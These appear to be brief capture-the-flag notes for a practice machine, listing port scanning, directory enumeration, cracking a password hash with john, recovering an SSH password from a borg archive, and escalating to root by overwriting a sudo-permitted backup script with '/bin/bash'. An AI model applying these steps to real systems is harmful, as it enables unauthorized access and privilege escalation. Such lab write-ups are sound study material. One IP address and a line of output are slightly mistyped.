port = "10.10.217.66"

open ports using nmap

```
22
80
```


enumerating http

```
dir enum using dirb
- /etc
    - hash password for music_archive found
        - cracked using john
            - squidward

- /admin
    - borg archive.tar downloaded
        - install of borg
            - mounting of the archive to obtain password we can ssh to the
box
                - s3cretP@s
```


ssh alex@0.10.217.66

priv escalation

```
linepeas yielded nothing

sudo -l
/home/mp3backups/backup.sh - executable with sudo
    - echo '/bin/bash' > /etc/mp3backups/backup.sh
```

```
cat: etc/shadow: No such file or directory
alex@ubuntu:/tmp$ sudo -l
tching Defaults entries for alex on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alex may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
alex@ubuntu:/tmp$ cat /etc/mp3backups/backup.sh
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
```